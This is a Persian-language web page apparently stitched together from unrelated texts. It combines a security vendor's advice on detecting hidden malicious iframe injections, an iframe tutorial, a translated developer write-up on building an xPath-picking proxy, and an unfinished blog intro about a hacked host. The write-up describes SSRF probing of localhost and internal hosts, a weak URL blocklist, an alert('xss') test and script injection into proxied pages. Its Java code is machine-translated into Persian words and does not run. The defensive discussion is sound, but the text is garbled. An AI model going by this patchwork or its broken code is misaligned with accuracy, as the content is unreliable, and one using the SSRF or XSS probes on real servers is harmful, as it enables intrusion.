نحوه درج iframe در HTML: مثال استفاده. Iframe و Frame - چیست و چگونه بهترین استفاده از فریم ها در Html تغییر URL های نسبی به مطلق در کد صفحه

یکی از رایج ترین راه ها برای آلوده کردن رایانه بازدیدکنندگان وب سایت، سوء استفاده از یک آسیب پذیری مرتبط با سرریز بافرهای مرورگر کاربر است. دستور غذا کاملا ساده است. مهاجمان کدهای مخرب را با قرار دادن iframe در صفحات وب سایت تزریق می کنند و سعی می کنند فایل های مخرب را در رایانه کاربر ناشناس بارگیری کنند. تشخیص اینگونه موارد مخرب در وب سایت شما بسیار آسان است. فقط باید به قطعات کدی که از اتصال iframe استفاده می کنند توجه کنید. چنین درج هایی می توانند در هر دو فایل HTML و PHP باشند.

مهاجمان تقریباً همیشه سعی می‌کنند تا حد امکان استفاده از شرط‌های مخرب را از مالکان پنهان کنند، آنها را به صورت بصری برای کاربران منابع پنهان کرده و کد آنها را مبهم (معروف) می‌کنند.

پنهان کردن درج های iframe از چشم کاربران

برای پنهان کردن یک درج مخرب، هکرها در بیشتر موارد از همان روش استفاده می کنند - آنها ویژگی های برچسب را طوری تنظیم می کنند که در صفحه نمایش داده نشود، اما در کد آن وجود دارد. بیشتر اوقات، عرض و طول روی صفر یا یک پیکسل تنظیم می شود: width = "1px"، height = "1px".

برای مثال، کدهای مخرب ممکن است به شکل زیر باشد:

با این حال، اغلب هکرها خود را به چنین پوششی محدود نمی‌کنند و این پنهان‌سازی را با تکنیک‌های پیچیده‌تری تکمیل می‌کنند که می‌تواند جستجو و حذف را حتی برای برنامه‌نویسان پیشرفته گیج و پیچیده کند.

مبهم سازی

این یکی از رایج ترین روش های محافظت از کد در برنامه نویسی در زبان های بدون ساختار (مانند، به عنوان مثال، PHP) است. در واقع، تمام رمزگذاری در مورد اختلاط یا مبهم کردن خود کد با تغییر نام متغیرها و عناصر دیگر است. در نتیجه، تشخیص نشانه‌های مخرب در کد مبهم بسیار دشوار است و تنها بر اساس نشانه‌های غیرمستقیم استفاده صریح از توابع ویژه JS (جاوا اسکریپت) که به‌طور خاص برای مبهم‌سازی استفاده می‌شوند، امکان‌پذیر است: unescape، fromCharCode.

با این حال، کشف کد مبهم در یک وب سایت به این معنی نیست که قطعاً مضر است یا حذف آن آسان است. باید بدانید که اولاً، مهاجمان می‌توانند کد را مبهم کنند و همچنین بخشی از کد کار سایت را ضبط کنند. در این حالت، زمانی که سعی می‌کنید یک قطعه رمزگذاری شده را برش دهید، خطر خراب شدن منبع خود را دارید. ثانیاً، کد مبهم ممکن است مخرب نباشد، بلکه تنها نتیجه عملکرد CMS یا اجزای جداگانه آن و همچنین ماژول های اضافی است که نصب کرده اید.

در هر صورت، اگر با کد مبهم مشکوک مواجه شدید، باید با نهایت دقت عمل کنید.

سایر علائم عفونت

اگر شک دارید که کدی که پیدا کرده اید مخرب است، می توانید علائم غیر مستقیم را تجزیه و تحلیل کنید. اگر تعداد فایل های زیادی در سایت خود دارید، بهتر است به تاریخ و زمان آن توجه کنید آخرین تغییرفایل ها. اگر سناریوهای نحوه عملکرد CMS خود را با فایل‌ها به خوبی می‌دانید، می‌توانید به فایل‌هایی که در همان تاریخ در همان زمان تغییر کرده‌اند، یا با تغییراتی که در یک بازه زمانی رخ می‌دهند، مثلاً 1 ثانیه، نگاه دقیق‌تری بیندازید.

اگر یک برنامه نویس پیشرفته هستید، می توانید اسکریپتی بنویسید که وجود نوع درج هایی را که در تمام فایل های سایت خود شناسایی کرده اید بررسی می کند. اگر حتی پیشرفته‌تر هستید، می‌توانید اسکریپت را مجبور کنید تا درج‌ها را حذف کند، با این حال، همیشه باید مراقب باشید.

روش های جایگزین

توصیه می کنیم حتی اگر یک متخصص پیشرفته هستید، از سرویس Virusday برای حذف درج های مخرب استفاده کنید. سرویس ما نه تنها حاوی امضاهای زیادی است که می توان از آنها برای یافتن کدهای مخرب استفاده کرد، بلکه در زمان نیز صرفه جویی می کند! به علاوه، هزینه استفاده از Virusday برای تمیز کردن احتمالاً بسیار کمتر از پرداخت هزینه برای زمان خود خواهد بود. شما قادر خواهید بود نه تنها درج های iframe، بلکه بسیاری از تهدیدات دیگر را شناسایی و حذف کنید. احتمالاً می‌توانید تهدیدی را که باعث ظاهر شدن درج‌های iframe در سایت شما شده است، مانند Shell، پیدا کرده و به طور خودکار حذف کنید.

تیم خدمات Virusday.

در ابتدای ساخت وب سایت، منابع وب به طور گسترده از فریم ها برای نمایش بخش های جداگانه صفحات استفاده می کردند. اما با ورود نسخه جدید HTML 5 همه چیز را تغییر داده است. عناصر نشانه گذاری، و منسوخ شده اند. آنها با یک برچسب جایگزین شدند - . چگونه به html اضافه کنیم؟ مثال زیر حتی برای یک مبتدی در برنامه نویسی نیز واضح خواهد بود.

قاب ها چیست؟

قاب اساس اکثر صفحات وب اول است. اگر به معنای واقعی کلمه ترجمه شود، این کلمه به معنای "قاب" است، یعنی فریم قسمت کوچکی از یک صفحه در مرورگر است. استفاده گسترده از فریم ها در گذشته را می توان با کیفیت پایین و هزینه بالای ترافیک اینترنت توضیح داد. به عنوان یک قاعده، سایت به 3-5 قسمت تقسیم می شود که هر کدام هدف خاصی را دنبال می کند:

  • "هدر" (قاب بالایی در امتداد عرض صفحه) - نام منبع را نمایش می دهد.
  • "شیشه" چپ / راست - نمایش منو؛
  • قاب مرکزی نمایش محتوای سایت است.

تقسیم صفحه به قسمت‌ها باعث شد که هنگام به‌روزرسانی، فقط قسمت خاصی بارگذاری شود. به عنوان مثال، کاربر روی یک آیتم منو کلیک کرد و محتوای جدید در فریم مرکزی دانلود شد.

فریم های مدرن در HTML 5

چرا در HTML مورد نیاز است؟ به عنوان مثال، درج محتوا از یک منبع شخص ثالث است. وضعیت کلاسیک زمانی است که یک توسعه دهنده وب می خواهد مکان یک شی را روی نقشه نشان دهد. باید چکار کنم؟ طرح سایت را از ابتدا ترسیم کنید؟ خیر - راه حل ساده تری وجود دارد: یک عنصر Google Map، Yandex Maps یا 2GIS را در صفحه جاسازی کنید. مشکل در چهار مرحله حل می شود.

  • شما باید به وب سایت هر سرویس نقشه برداری بروید.
  • شی مورد نظر را پیدا کنید. پس از دانستن آدرس دقیق، می توانید آن را در پنجره جستجو وارد کنید.
  • با استفاده از دکمه «ذخیره و دریافت کد» (برای Yandex.Maps) یا «انجام شد» (برای نقشه های گوگل) کد جاسازی را دریافت کنید.
  • تنها چیزی که باقی می ماند این است که برچسب های نشانه گذاری ایجاد شده را در صفحه وارد کنید.
  • علاوه بر این، می توانید اندازه نقشه را انتخاب کنید و سایر گزینه های نمایش را پیکربندی کنید.

    چگونه می توانید از آن در HTML استفاده کنید؟? یک مثال درج مطالب ویدیویی از منبع یوتیوب است. فناوری های چند رسانه ای کاربران اینترنت را جذب می کند، به همین دلیل است که محتوای ویدیویی بسیار محبوب است. توسعه دهنده به سرعت نصب ویدیو را انجام می دهد.

  • باید ویدیوی خود را در یوتیوب آپلود کنید یا یک فایل شخص ثالث برای پخش پیدا کنید.
  • با انتخاب دکمه "HTML Code" برچسب را دریافت کنید
  • مرحله آخر چسباندن به . نمونه ای از محتوای تگ به دست آمده در زیر مورد بحث قرار خواهد گرفت.
  • هر دو نمونه از تولید خودکار کد استفاده می کردند، اما توسعه دهندگان حرفه ای باید بتوانند خودشان کد بنویسند. در مرحله اول، این به آنها امکان می دهد طرح بندی صفحه را درک کنند و در صورت لزوم آن را اصلاح کنند. ثانیاً، نشانه گذاری عناصر سایت (حتی اگر متعلق به یک منبع خارجی باشد) همیشه بدون مشارکت مدیر وب سایت شکل نمی گیرد. اینجاست که صلاحیت های بالای توسعه دهنده به چشم می خورد.

    نحو

    بنابراین، قبل از شروع به چیدمان صفحه، باید تگ iframe (html) را در نظر بگیرید: چیست و چگونه از آن به درستی استفاده کنید.

    ابتدا باید توجه داشت که تگ جفت شده است. بین عناصر باز و بسته، محتوایی را مشخص می‌کنید که در مرورگرهایی که از این عنصر نشانه‌گذاری پشتیبانی نمی‌کنند، نمایش داده شود. ویژگی های برچسب اصلی:

    • عرض (عرض)؛
    • ارتفاع (ارتفاع)؛
    • src (آدرس منبع دانلود شده)؛
    • align (روش align);
    • فریمبوردر;
    • صفحه مجاز

    بنابراین، کد برای . مثال HTML به طور کامل در زیر نشان داده شده است:

    در نشانه گذاری بالا کافی است آدرس سایت را با آدرس دیگری جایگزین کنید و در صورت لزوم سایز فریم را تنظیم کنید.

    عنصر

    قاب ها

    چه کار میکند؟

    چگونه یک صفحه را در صفحه HTML وارد کنیم؟ برای انجام این کار، باید از استفاده کنید، که یک قاب درون خطی در سند فعلی ایجاد می کند که در آن یک سند HTML دیگر نمایش داده می شود.

    نمایش دادن

    بلوک نمایش

    کد نمونه

    قدرتمند و در عین حال آسان برای استفاده

    در روزهای بد قدیمی طراحی وب، عناصر زیادی وجود داشت که زندگی هر توسعه دهنده ای را خراب می کرد. آنها تقریبا همیشه یک رویکرد طراحی بد بودند. خوشبختانه این عنصر در HTML5 منسوخ شده است. اما یا "قاب درون خطی" هنوز در دسترس است. آیا در نسخه بعدی منسوخ می شود؟ شاید باید از آن اجتناب کنیم؟ چندین کاربرد معتبر از این عنصر هنگام ایجاد یک صفحه HTML وجود دارد. اما باید بدانید که چیست و چگونه کار می کند تا از اشتباه جلوگیری کنید.

    شباهت ها و تفاوت ها و

    هر دوی این عناصر به شما امکان می دهند یک سند HTML جداگانه ایجاد کنید. پیوندی به محتوای سندی که صفحه وب فعلی به آن ارجاع می دهد در ویژگی src مشخص شده است.

    . . . . . .

    تفاوت اصلی بین و این است که این قانون را اعمال می کند که سند HTML اولویت دارد. محتوا در عنصری که بخشی از سند جاری است نمایش داده می شود. به عنوان مثال، این ویدیوی جاسازی شده را که از YouTube گرفته شده است در نظر بگیرید:

    ویدئو به وضوح در یک صفحه HTML است و در برخی از آنها نیست پنل مجزا. عنصر این پارادایم را شکست و به سند اجازه داد تا روی پنجره مرورگر کنترل داشته باشد و آن را به چندین پانل کوچک (فریم) تقسیم کند که هر کدام یک سند جداگانه را نمایش می دهند. تمام تفاوت های دیگر بین این تفاوت اساسی و از آن ناشی می شود.

    طرح‌بندی‌های مبتنی بر فریم را با iframe بازسازی نکنید

    روزی ممکن است با وظیفه به روز رسانی یک وب سایت قدیمی که با استفاده از فریم ساخته شده است مواجه شوید. همچنین ممکن است بخواهید از یک طرح بندی با عرض ثابت برای بازسازی همان کابوس پانل ها و طاقچه های مستقل استفاده کنید. اما شما نمی توانید استفاده کنید ویژگی هدفبرای باز کردن لینک در یک قاب جداگانه می توانید شروع به جستجوی راه حل های جاوا اسکریپت کنید. لطفا انجامش نده.

    کاربردهای خوب (و وحشتناک).

    چندین مورد استفاده معتبر برای آن وجود دارد ایجاد HTMLصفحات:

    • جاسازی محتوای رسانه ای شخص ثالث؛
    • جاسازی محتوای رسانه ای خود از طریق یک سند بین پلت فرمی؛
    • تعبیه نمونه کد؛
    • تعبیه کردن "اپلت های" شخص ثالث به عنوان اشکال پرداخت.

    در اینجا چند مورد استفاده وحشتناک وجود دارد:

    • گالری عکس؛
    • انجمن یا چت

    اگر نیاز دارید که اسناد HTML مستقل و از قبل موجود را در سند فعلی جاسازی کنید، از . اگر همه چیز را از ابتدا می سازید، دلیلی برای تقسیم طراحی صفحه به چندین سند جداگانه وجود ندارد. به خصوص اگر آنها در واقع محتوای مستقلی نباشند.

    ویژگی های iframe
    نام مشخصه معنی شرح
    جعبه شنی اجازه-همان-منشا
    اجازه ناوبری بالا
    اجازه فرم ها
    اجازه اسکریپت ها
    تعدادی محدودیت برای محتوای بارگذاری شده در قاب تعیین می کند. قبل از ایجاد صفحه HTML تنظیم کنید.
    پیمایش بله نه خودکار تعیین می کند که آیا طومارها در کادر نمایش داده شوند یا نه. در HTML5 منسوخ شده است. به جای آن از CSS استفاده کنید.
    نام نام نام فریم را مشخص می کند.
    تراز کردن سمت راست بالا
    پایین وسط
    تراز قاب را نسبت به عناصر اطراف تعیین می کند. منسوخ شده است. به جای آن از CSS استفاده کنید.
    چارچوب بله (یا 1)
    نه
    برای فعال کردن نمایش یک حاشیه در اطراف قاب استفاده می شود. در HTML5 منسوخ شده است. به جای آن از CSS استفاده کنید.
    طولانی URL برای تعیین URL صفحه ای که حاوی توضیحات طولانی از محتویات قاب است استفاده می شود. منسوخ شده است. به جای آن از CSS استفاده کنید.
    پهنای حاشیه پیکسل ها برای کنترل عرض بالشتک از محتوا تا حاشیه قاب استفاده می شود. منسوخ شده است. به جای آن از CSS استفاده کنید.
    src URL نشانی اینترنتی سند را برای نمایش در IFRAME مشخص می کند.
    vspace پیکسل ها حاشیه های عمودی را از کادر به محتوای اطراف تنظیم می کند. منسوخ شده است. به جای آن از CSS استفاده کنید.
    عرض پیکسل % عرض فریم را توسط صفحه HTML.

    این نشریه ترجمه‌ای از مقاله «» است که توسط تیم پروژه دوستانه تهیه شده است

    ما یک آنالوگ از ابزار Google Webmaster Marker ساختیم. اجازه دهید به شما یادآوری کنم که Marker ابزاری در حساب Google Webmaster است که به شما امکان می دهد صفحات باز نمودار خود را با برچسب ها حاشیه نویسی کنید. برای انجام این کار، شما به سادگی یک قطعه متن را در صفحه با ماوس خود انتخاب کنید و نشان دهید که این عنوان است و این رتبه بندی است. صفحه شما در یک Iframe در حساب مدیر وب سایت بارگذاری می شود.

    اکنون گوگل با مواجهه با صفحه مشابه در سایت شما، از قبل می داند که چه نوع محتوایی در آن منتشر شده است و چگونه آن را به زیبایی در ماهیت خود (مقاله، محصول، ویدئو...) تجزیه کند.

    ما به عملکرد مشابه نیاز داشتیم. کار ساده و منحصراً سمت مشتری به نظر می رسید. با این حال، در عمل، راه حل در تقاطع سمت مشتری و سمت سرور قرار دارد (برنامه نویسان JS «خالص» ممکن است چیزی در مورد سرورهای پروکسی مختلف ندانند و زمان بسیار زیادی طول می کشد تا به پروژه نزدیک شوند). با این حال، من مقاله ای در اینترنت پیدا نکردم که کل فناوری را از ابتدا تا انتها توصیف کند. همچنین می‌خواهم از کاربر BeLove و نگهبانان امنیتی ما برای کمکشان تشکر کنم.

    در مورد ما، ما می خواستیم مدیر وب سایت بتواند به راحتی (با کلیک کردن با ماوس) مقدار xPath را برای عناصر خاصی در صفحه خود دریافت کند.

    Iframe "Same Origin" و بنابراین در پنل مدیریت ما شخص باید URL صفحه سایت خود را وارد کند، ما آن را در iFrame نمایش می دهیم، فرد در جایی که لازم باشد ماوس را نشان می دهد، ما xPath مورد نیاز را دریافت می کنیم. همه چیز درست است، اما به دلیل سیاست امنیتی مرورگر، ما به محتوای صفحه از دامنه دیگری که در iframe بارگذاری شده است در پنل مدیریت خود (دامنه ما) دسترسی نداریم. CORS - اشتراک‌گذاری منابع متقاطع برخی از افراد به من توصیه کردند. برای استفاده از CORS یک فناوری مد روز که بسیاری از مشکلات دسترسی به محتوا از دامنه دیگری در مرورگر را حل می‌کند و به شما امکان می‌دهد از محدودیت‌های خط‌مشی مبدا مشابه عبور کنید.
    سایتی که می خواهد به محتوای خود در صفحات دامنه شخص دیگری دسترسی داشته باشد، به سادگی در هدر http می نویسد:
    Access-Control-Allow-Origin: http://example.com
    و در عنوان درخواست httpاز یک صفحه دامنه دیگر از مرورگر باید یک فیلد مبدا وجود داشته باشد:
    منبع: www.mysupersite.com
    واضح است که خود مرورگر فیلد مبدا را به درخواست اضافه می کند. بیایید به مقاله Habré نگاه کنیم و ببینیم که مرورگرهای مدرن Origin را حتی به یک درخواست برای همان دامنه اضافه می کنند:

    با این حال:

  • مرورگر منشا را نشان نمی دهددر هدر درخواست صفحه در حال بارگذاری در iframe (کسی می تواند توضیح دهد که چرا؟)
  • ما نمی خواهیم از مدیران وب بخواهیم هدر Access-Control-Allow-Origin را مشخص کنند.
  • سندباکس Iframe یکی دیگر از فناوری های مد روز. Sandbox یک ویژگی تگ Iframe است. یکی از مقادیر این ویژگی را می توان روی allow-same-origin تنظیم کرد. قبل از اینکه شروع به کندوکاو در این موضوع کنم، نمی دانستم این ویژگی دقیقاً چه کاری انجام می دهد، اما بسیار وسوسه انگیز به نظر می رسید. با این حال، ویژگی sandbox به سادگی کاری را که یک صفحه بارگذاری شده در iframe می‌تواند انجام دهد محدود می‌کند و هیچ ارتباطی با موضوع دسترسی به محتوای فریم از سند والد ندارد.

    به طور خاص، مقدار allow-same-origin (یا بهتر است بگوییم، عدم وجود آن) فقط می گوید که iframe باید همیشه به عنوان بارگیری شده از یک دامنه خارجی در نظر گرفته شود (به عنوان مثال، شما نمی توانید ارسال کنید درخواست AJAXبه دامنه سند مادر)

    بیایید ببینیم گوگل چگونه این کار را انجام داد زمان برای دیدن برادر بزرگتر این کار

    بیایید به ویژگی src عنصر iframe توجه کنیم: src="https://wmthighlighter.googleusercontent.com/webmasters/data-highlighter/RenderFrame/007....." - صفحه ما در پنل مدیریت بارگذاری می شود دامنه گوگل. علاوه بر این، حتی شدیدتر است: حتی اسکریپت ها و تصاویر در سند منبع از طریق یک پروکسی اجرا می شوند. همه src، href... در html با پروکسی جایگزین می شوند. چیزی شبیه به این:

    تمام منابعی که صفحه شما استفاده می کند در سرورهای پروکسی Google نیز ذخیره می شود. برای مثال مال ما اینجاست.

    CGIPproxy؟ بلافاصله به نظر می رسید که برای انجام همین کار، باید یک پروکسی کامل مانند CGIProxy ایجاد کنید. این سرور پروکسی تقریباً همان کاری را انجام می دهد که wmthighlighter.googleusercontent.com گوگل
    برای شروع یک جلسه مرور، از URL اسکریپت دیدن کنید. هنگامی که صفحه ای را از طریق پروکسی دریافت کردید، هر چیزی که به آن پیوند می دهد به طور خودکار از طریق پراکسی می رود. می‌توانید صفحاتی را که در آنها مرور می‌کنید نشانک‌گذاری کنید و نشانک‌های شما مانند بار اول از طریق پروکسی عبور می‌کنند. پروکسی خودتان! با این حال، اگر کار را محدود کنید، نوشتن یک پروکسی ساده برای خودتان بسیار آسان‌تر است. واقعیت این است که گوگل این کار را انجام می دهد، ارسال تمام محتوای صفحه از طریق یک پروکسی اصلا ضروری نیست. ما فقط به html هر صفحه ای نیاز داریم که از دامنه ما ارائه شود و منابع می توانند از دامنه اصلی بارگیری شوند. ما در حال حاضر HTTPS را کنار گذاشته ایم.
    در اینجا نیازی به عملکرد فوق العاده یا تنظیمات راحت نیست و این کار را می توان به سرعت و با استفاده از هر چیزی از node.js گرفته تا php انجام داد. ما یک servlet در جاوا نوشتیم دانلود صفحه یک سرور پراکسی چه کاری باید انجام دهد؟ با استفاده از پارامتر get، url صفحه ای که باید بارگذاری شود را دریافت می کنیم، سپس صفحه را دانلود می کنیم.

    حتماً رمزگذاری صفحه را تعیین کنید (از طریق پاسخ http یا مجموعه نویسه در html) - پروکسی ما باید با همان کدگذاری صفحه ای که بارگذاری کردیم پاسخ دهد. ما همچنین Content-Type را برای هر موردی تعریف می‌کنیم، اگرچه واضح است که صفحه را به صورت متن/html دریافت می‌کنیم و به همان صورت آن را برمی‌گردانیم.
    URL رشته نهایی = request.getParameter("url"); نهایی HttpGet requestApache = جدید HttpGet(url); HttpClient نهایی httpClient = new DefaultHttpClient(); HttpResponse نهایی answerApache = httpClient.execute(requestApache); موجودیت نهایی HttpEntity = answerApache.getEntity(); رمزگذاری رشته نهایی = EntityUtils.getContentCharSet(entity); Mime رشته نهایی = EntityUtils.getContentMimeType(entity); String answerText = IOUtils.toString(entity.getContent(), encoding);
    *برای کسانی که دوست دارند کد دیگران را ارزیابی کنند: در تیم ما، همه تنظیمات قالب بندی کد eclicpse یکسانی دارند و هنگام ذخیره یک فایل، اگر در جای دیگری تغییر نکنند، خود eclipse نهایی را به همه متغیرها اضافه می کند. که به هر حال، در نهایت بسیار راحت است.

    تغییر URL های نسبی به مطلق در کد صفحه شما باید تمام ویژگی ها را با src و href در صفحه مرور کنید (مسیرهای فایل های سبک، تصاویر) و URL های نسبی را با URL های مطلق جایگزین کنید. در غیر این صورت، صفحه سعی می کند تصاویر را از برخی پوشه های موجود در پروکسی ما بارگیری کند که طبیعتاً ما آن را نداریم. هر زبانی کلاس‌های آماده‌ای دارد، یا می‌توانید قطعه‌های کدی را برای آن در stackoverflow پیدا کنید:
    URI نهایی uri = آدرس جدید (url); میزبان رشته نهایی = uri.getHost(); answerText = replaceRelativeLinks (میزبان، answerText)؛ ارسال html همین، سرور پراکسی آماده است. ما یک پاسخ ارسال می کنیم و رمزگذاری و میم مورد نیاز را تنظیم می کنیم.
    باطل محافظت شده sendResponse (پاسخ HttpServletResponse، String answerText، رمزگذاری رشته، Mime رشته) ServletException، IOException (response.setContentType(mime)؛ answer.setCharacterEncoding(encoding)؛ answer.setStatus_Status_Response. print(responseText)؛ answer.flushBuffer(); ) استقرار و آزمایش سرور پروکسی ما را به همان آدرس پنل مدیریت adminpanel.indexisto.com مستقر کنید، صفحه وب‌مستر وب‌سایت را از طریق پروکسی و همه مشکلات بین دامنه‌ای در iframe بارگیری کنید. ناپدید می شوند.
    پروکسی ما در
    http://adminpanel.indexisto.com/highlighter?url=http://habrahabr.ru
    - به این ترتیب هاب از دامنه ما بارگیری می شود. ما این آدرس را در iframe می دهیم و سعی می کنیم از طریق JS در پنل مدیریت به درخت DOM هاب دسترسی پیدا کنیم - همه چیز کار می کند. CSRF طبیعتاً کار نخواهد کرد زیرا صفحه از پروکسی ما بارگیری شده است که کوکی ندارد. مشکل SSRF بیایید سایت را با آدرس "localhost" در iframe خود بارگیری کنیم - اوه، شما بروید صفحه شروع nginx ما بیایید برخی از منابع داخلی (که برای بیرون قابل مشاهده نیست) را در همان شبکه ای که سرور پراکسی خود داریم امتحان کنیم. به عنوان مثال safed_crm.indexisto.com - همه چیز سر جای خود است.
    البته ما سعی می کنیم این موارد را در پروکسی خود ممنوع کنیم، اگر کسی سعی کند لوکال هاست را پروکسی کند، بدون برگرداندن چیزی از آن خارج می شویم:
    if (url.contains("localhost")||url.contains("127")||url.contains("highlighter")||url.contains("file")) (LOG.debug("تلاش برای دریافت" منبع محلی. URL = " + url)؛ بازگشت؛ )
    اما به وضوح همه منابع شبکه را در اینجا لیست نمی کنیم. این بدان معناست که باید پراکسی را به یک محیط کاملاً ایزوله منتقل کنیم تا دستگاه چیزی جز اینترنت، خود و پروکسی ما نبیند. ما یک ماشین را انتخاب می کنیم، پیکربندی می کنیم و سرور خود را در آنجا راه اندازی می کنیم.
    هشدار ("xss")
    یک هشدار ظاهر می شود. با ناراحتی. این را می توان با ویژگی iframe sandbox allow-scripts دور زد، اما در مورد مرورگرهای قدیمی که واقعاً این ویژگی را درک نمی کنند، چطور؟ شما فقط می توانید کوکی های خود را بدزدید، اما هنوز نمی توانید آنها را اینطور رها کنید.
    ما سرورلت را نه تنها به یک ماشین جداگانه منتقل می کنیم، بلکه به آن یک زیر دامنه جداگانه highlighter.indexisto.com می دهیم.

    ما رسیدیم، راه حل خود را با دور زدن محدودیت های بین دامنه شکستیم. اکنون نمی توانیم دوباره به محتوای iframe برسیم.

    در ادامه یافتن راه حلی از Google، صفحه ما را که از طریق یک پروکسی در یک پنجره جداگانه ارائه می شود، باز کردم

    و متوجه خطای عجیبی در کنسول شدم.
    CrossPageChannel: امکان اتصال وجود ندارد، شیء پنجره همتا تنظیم نشده است.
    مشخص شد که سازماندهی همه چیز پیچیده تر از بارگذاری یک صفحه در یک iframe از دامنه شما است. صفحات با یکدیگر ارتباط برقرار می کنند. بر این اساس به سمت window.postMessage حرکت می کنیم

    پیام ارسال این غیرانسانی بود که مدیر وب‌سایت را مجبور کنیم اسکریپت ما را در صفحه خود جاسازی کند، که اطمینان حاصل می‌کند که عناصر صفحه با ماوس انتخاب شده‌اند و سپس xPath این عناصر در سند والد از طریق postMessage برای ما ارسال می‌شود. با این حال، هیچ کس مانع از تزریق پروکسی ما به صفحه بارگذاری شده در iFrame نمی شود.
    ما تمام اسکریپت های لازم برای پیاده سازی را در یک فایل ذخیره می کنیم و آنها را قبل از بدنه بسته درج می کنیم:
    نهایی int positionToInsert = answerText.indexOf(""); inputStream inputStream = getServletContext().getResourceAsStream("/WEB-INF/inject.js"); نهایی StringWriter writer = new StringWriter(); IOUtils.copy(inputStream, writer); رشته نهایی jsToInsert = writer.toString(); answerText = answerText.substring(0، positionToInsert) + jsToInsert + answerText.substring(positionToInsert، answerText.length());
    برای آزمایش، یک هشدار وارد می‌کنیم - همه چیز کار می‌کند. بخش JS - عنصر خانه را در زیر ماوس برجسته می‌کنیم و xpath را دریافت می‌کنیم. خوب، اجازه دهید به JS واقعی که در صفحه وب‌مستر درج کرده‌ایم برویم.
    ما باید عناصر dom را که یک فرد موس را روی آنها حرکت می دهد برجسته کنیم. بهتر است این کار را با استفاده از سایه انجام دهید زیرا در این صورت عنصر حرکت نمی کند و کل صفحه می پرد. روی موس روی بدن آویزان می کنیم و به هدف رویداد نگاه می کنیم. در همان هندلر xpath عنصر را محاسبه می کنم. بهتر است xPath یک عنصر را به ازای هر کلیک محاسبه کنیم، اما من در این پیاده سازی نیز متوجه کاهش سرعت نشدم.
    elmFrame.contentWindow.document.body.onmouseover= function(ev)( ev.target.style.boxShadow = "0px 0px 5px red"; curXpath = getXPathFromElement(ev.target)؛ )
    من پیاده سازی دریافت xPath یک عنصر DOM را در اینجا ارائه نمی کنم. قطعات زیادی در مورد نحوه انجام این کار وجود دارد. این اسنیپت ها را می توان مطابق با نیازهای شما تغییر داد، به عنوان مثال، شما فقط به برچسب ها در xpath نیاز دارید. یا اگر شناسه‌ها وجود دارند و کلاس‌هایی که شناسه‌ای وجود ندارند، نیاز دارید - هر کسی شرایط خاص خود را دارد.

    در اینجا یک نمونه از پروکسی است صفحه نخست Habr با اسکریپت جاسازی شده:
    http://highlighter.indexisto.com/?md5=6ec7rdHxUfRkrFy55jrJQA==&url=http%3A%2F%2Fhabrahabr.ru&expires=1390468360

    بخش JS - پردازش کلیک کلیک یک فرد روی صفحه در iframe بلافاصله "خاموش" می شود (پیوند در iframe دنبال نمی شود). همچنین رشته xPath دریافتی را به پنجره والد ارسال می کنیم (آن را در مرحله حرکت موس روی عنصر ذخیره کردیم)
    document.body.onclick = function(ev)( window.parent.postMessage(curXpath, "*")؛ ev.preventDefault(); ev.stopPropagation(); ) سود! این همه است، اکنون در پنل مدیریت ما، یک مدیر وب سایت می تواند به سرعت مسیرهای xpath را به عناصر موجود در صفحات خود بسیار آسان تر دریافت کند.

    بیایید امنیت بیشتری اضافه کنیم، بسیار خوب، همه چیز برای ما کار کرد، اما این مشکل وجود دارد که پروکسی ما به طور کامل بدون محافظت به دنیا نگاه می کند. هر کسی می تواند هر چیزی را پروکسی کند.

    nginx رو جلوی پراکسی میزاریم پورت 80 رو گوش میده و خود پراکسی رو به پورت دیگه میکشیم. ما همه پورت های دیگر را به جز 80 پورت از دنیای خارج می بندیم.

    حالا بیایید کاری کنیم که پروکسی فقط از طریق پنل مدیریت کار کند. در لحظه ای که مدیر وب سایت URL سایت خود را وارد می کند، ما به سرعت به سمت سروری می رویم که در آن هش md5 ​​را از TimeStamp فعلی + 1 ساعت، خود URL و فوق سری تولید می کنیم که:
    رشته نهایی md5Me = timeStampExpires + urlEncoded + "SUPERSECRET"; final MessageDigest md = MessageDigest.getInstance("MD5"); md.reset(); md.update(md5Me.getBytes("UTF-8")); کد رشته = Base64.encodeBase64String(md.digest()); code = code.replaceAll("/", "_"); code = code.replaceAll("\\+","-");
    همچنین توجه داشته باشید که در کد، رشته md5 را نه به صورت هگز معمولی، بلکه در کدگذاری base64 دریافت می کنیم، به علاوه در md5 حاصل، کاراکترهای اسلش و پلاس را با زیرخط و خط تیره جایگزین های عجیبی می کنیم.
    واقعیت این است که ngnix از Base64 Filename Safe Alphabet tools.ietf.org/html/rfc3548#page-6 استفاده می کند
    و جاوا پایه متعارف 64 را می دهد.

    پس از دریافت پاسخ از یک سرور با md5 امن در پنل مدیریت، سعی می کنیم آدرس زیر را در iframe بارگذاری کنیم:
    highlighter.indexisto.com/?md5=Dr4u2Yeb3NrBQLgyDAFrHg==&url=http%3A%2F%2Fhabrahabr.ru&expires=1389791582

    اکنون ماژول nginx HttpSecureLinkModule را پیکربندی می کنیم. این ماژول md5 تمام پارامترهایی را که به آن رسیده است بررسی می کند (همان کلید مخفی در ماژول مانند سرور ادمین ثبت شده است)، بررسی می کند که آیا پیوند تجزیه شده است یا خیر، و فقط در این مورد درخواست را به سرور پراکسی ما ارسال می کند. .

    اکنون هیچ‌کس نمی‌تواند از پروکسی ما از خارج از پنل مدیریت استفاده کند، و همچنین نمی‌تواند تصویر درخواستی را در هر جایی به سرور ما وارد کند - به هر حال در عرض یک ساعت می‌میرد.

    این همه مردم! Google طبیعتاً با ابزار نشانگر خود بسیار فراتر رفت. برای اینکه به وضوح یک عنصر را در یک صفحه شناسایی کنید، باید همان عنصر (به عنوان مثال، عنوان یک مقاله) را در چندین صفحه از یک نوع علامت گذاری کنید. که می توانید با دقت بیشتری xpath را بسازید و شناسه های مختلف مانند "post-2334" را که بدیهی است فقط در یک صفحه کار می کنند دور بریزید. در پنل مدیریت ما، در حال حاضر xpath باید با دست اصلاح شود تا نتیجه قابل قبولی به دست آید.

    می خواستم وبلاگم را با شعر شروع کنم، اما آنقدر هفته پرتلاطم بود که تصمیم گرفتم با یک مقاله اساسی به همه سلام کنم. سلام!

    و کل هفته در جنگ با هک مداوم هاست من و آلوده شدن همه فایل های جاوا اسکریپت با iframe گذشت و این کمتر از 2500 اسکریپت و همه سایت های دارای ویروس نیست.

    من وقت نداشتم همه پرونده ها را در یک روز پاک کنم. حالت دستیو رمزهای عبور را تغییر دهید، اما روز بعد همه چیز دوباره اتفاق افتاد - رمزهای عبور به نحوی لو رفت و اسکریپت ها دوباره با موفقیت از طریق FTP دسترسی پیدا کردند.

    جمعه هفته آخرین نیش بود و من روز را صرف محافظت از سرورهایم کردم:

